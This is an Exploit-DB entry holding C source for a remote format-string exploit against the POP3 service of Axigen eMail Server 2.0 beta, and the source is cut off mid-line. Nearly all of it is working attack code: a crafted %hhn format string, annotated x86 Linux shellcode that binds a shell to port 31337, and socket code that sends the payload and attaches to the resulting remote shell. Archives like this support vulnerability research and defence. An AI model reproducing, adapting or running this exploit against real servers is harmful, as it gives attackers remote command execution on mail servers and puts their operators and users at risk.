Exploit-DB #3329
Description: Axigen eMail Server 2.0.0b2 - 'pop3' Remote Format String
Type: remote
Platform: linux
Date: 2007-02-18
Author: fuGich

Exploit:
/* axiagen.c
 *
 * Axigen eMail Server v2.0 (beta)
 * 	by fuGich Tue Dec 5 2006
 *
 * 		thanks to mu-b
 *
 * - Tested on: Axigen V2 (beta)
 *
 *   logType for the pop3 service must be "system" and 
 *   the logLevel set to any number with 4th bit set
 *
 * remote shell format string vulnerability in pop3
 * 	/bin/sh to bind to port 31337
 *
 * optimised format string generated with libforSC
 * used hhn for writes, could have been hn's but this was small enough and reduces size of log entry generated
 * 
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>


#define DEF_PORT    110
#define PORT_POP3   DEF_PORT


char formatString[] =
	
	// plt fixup code

	"\xba\xd8\xbe\x85\x09"		// mov    $0x985bed8,%edx
	"\xc7\x02\x9a\xf0\x04\x08"	// movl   $0x804f09a,(%edx)
	"\x8d\x52\x04"			// lea    0x4(%edx),%edx
	"\xc6\x02\xaa"			// movb   $0xaa,(%edx)
	"\x90\x90\x90"			// make divisible by 8
	
	//
	// bind shell with fork to port 31337 98 bytes
	//

	"\x6a\x66"              // push $0x66 
	"\x58"                  // pop %eax 
	"\x99"                  // cltd 
	"\x6a\x01"              // push $0x1 
	"\x5b"                  // pop %ebx 
	"\x52"                  // push %edx 
	"\x53"                  // push %ebx 
	"\x6a\x02"              // push $0x2 

	//
	// <_doint>:
	//

	"\x89\xe1"              // mov %esp,%ecx 
	"\xcd\x80"              // int $0x80 

	"\x5b"                  // pop %ebx 
	"\x5d"                  // pop %ebp 
	"\x52"                  // push %edx 
	"\x66\xbd\x69\x7a"      // mov $0x7a69,%bp (0x7a69 = 31337)
	"\x0f\xcd"              // bswap %ebp 
	"\x09\xdd"              // or %ebx,%ebp 
	"\x55"                  // push %ebp 
	"\x6a\x10"              // push $0x10 
	"\x51"                  // push %ecx 
	"\x50"                  // push %eax 
	"\x89\xe1"              // mov %esp,%ecx 
	"\xb0\x66"              // mov $0x66,%al 
	"\xcd\x80"              // int $0x80 
	"\xb3\x04"              // mov $0x4,%bl 
	"\xb0\x66"              // mov $0x66,%al 
	"\xcd\x80"              // int $0x80 

	//
	// <_acceptloop>:
	//

	"\x5f"                  // pop %edi 
	"\x50"                  // push %eax 
	"\x50"                  // push %eax 
	"\x57"                  // push %edi 
	"\x89\xe1"              // mov %esp,%ecx 
	"\x43"                  // inc %ebx 
	"\xb0\x66"              // mov $0x66,%al 
	"\xcd\x80"              // int $0x80 
	"\x93"                  // xchg %eax,%ebx 
	"\xb0\x02"              // mov $0x2,%al 
	"\xcd\x80"              // int $0x80 
	"\x85\xc0"              // test %eax,%eax 
	"\x75\x1a"              // jne <_parent> 
	"\x59"                  // pop %ecx 

	//
	// <_dup2loop>:
	//

	"\xb0\x3f"              // mov $0x3f,%al 
	"\xcd\x80"              // int $0x80 
	"\x49"                  // dec %ecx 
	"\x79\xf9"              // jns <_dup2loop> 

	"\xb0\x0b"              // mov $0xb,%al 
	"\x68\x2f\x2f\x73\x68"  // push $0x68732f2f 
	"\x68\x2f\x62\x69\x6e"  // push $0x6e69622f 
	"\x89\xe3"              // mov %esp,%ebx 
	"\x52"                  // push %edx 
	"\x53"                  // push %ebx 
	"\xeb\xb2"              // jmp <_doint> 

	//
	// <_parent>:
	//

	"\x6a\x06"              // push $0x6 
	"\x58"                  // pop %eax 
	"\xcd\x80"              // int $0x80 
	"\xb3\x04"              // mov $0x4,%bl 
	"\xeb\xc9"              // jmp <_acceptloop>

	//
	// 9 write addresses
	//

	"\xd8\xbe\x85\x09"	// pointer @ 0x0985bed8
	"\xd9\xbe\x85\x09"
	"\xda\xbe\x85\x09"
	"\xdb\xbe\x85\x09"
	"\xe0\xbe\x85\x09"	// place shell code @ 0x0985bee0
	"\xe1\xbe\x85\x09"
	"\xe2\xbe\x85\x09"
	"\xe3\xbe\x85\x09"
	"\xe4\xbe\x85\x09"

	// add the format string

	"%18u%66$n%34u%65$hhn%31u%72$hhn%10u%68$hhn%31u%71$hhn%87u%70$hhn%14u%69$hhn%90u%73$hhn%158u%67$hhn\r\n";


static int sock_send (int sock, u_char * src, int len);
static void formatme (u_char * host);
static int sockami (u_char * host, int port);
void shell (int sock);

void shell (int sock){		/* Attach to Remote Shell */

	int     l;
	char    buf[512];
	fd_set  rfds;

	while (1) {
		FD_SET (0, &rfds);
		FD_SET (sock, &rfds);
		select (sock + 1, &rfds, NULL, NULL, NULL);
		if (FD_ISSET (0, &rfds)) {
			l = read (0, buf, sizeof (buf));
			if (l <= 0) {
				printf("\n - Connection closed by local user\n");
				exit (EXIT_FAILURE);
			}
			write (sock, buf, l);
		}
		if (FD_ISSET (sock, &rfds)) {
			l = read (sock, buf, sizeof (buf));
			if (l == 0) {
				printf ("\n - Connection closed by remote host.\n");
				exit (EXIT_FAILURE);
			} else if (l < 0) {
				printf ("\n - Read failure\n");
				exit (EXIT_FAILURE);
			}
			write (1, buf, l);
		}
	}
}

static int sock_send (int sock, u_char * src, int len){		/* send data to the open socket */

	int sbytes;
	sbytes = send (sock, src, len, 0);
	return (sbytes);
}

static int sockami (u_char * host, int port){	/* create the socket */

	struct sockaddr_in address;
	struct hostent *hp;
	int sock;

	fflush (stdout);
	if ((sock = socket (AF_INET, SOCK_STREAM, 0)) == -1){
		perror ("socket()");
		exit (-1);
	}

	if ((hp = gethostbyname (host)) == NULL){
		perror ("gethostbyname()");
		exit (-1);
	}

	memset (&address, 0, sizeof (address));
	memcpy ((char *) &address.sin_addr, hp->h_addr, hp->h_length);
	address.sin_family = AF_INET;
	address.sin_port = htons (port);

	if (connect (sock, (struct sockaddr *) &address, sizeof (address)) == -1){
		perror ("connect()");
		exit (EXIT_FAILURE);
	}
	return (sock);
}

static void formatme (u_char * host){	/* do the evil */

	int sock;
	printf ("+Connecting to %s:%d ", host, PORT_POP3);	
	sock = sockami (host, PORT_POP3);
	printf ("\n+Sending format string\n");
	sock_send (sock, formatString, strlen (formatString));
	fflush (stdout);
	sleep(2);	
	printf ("+Connectin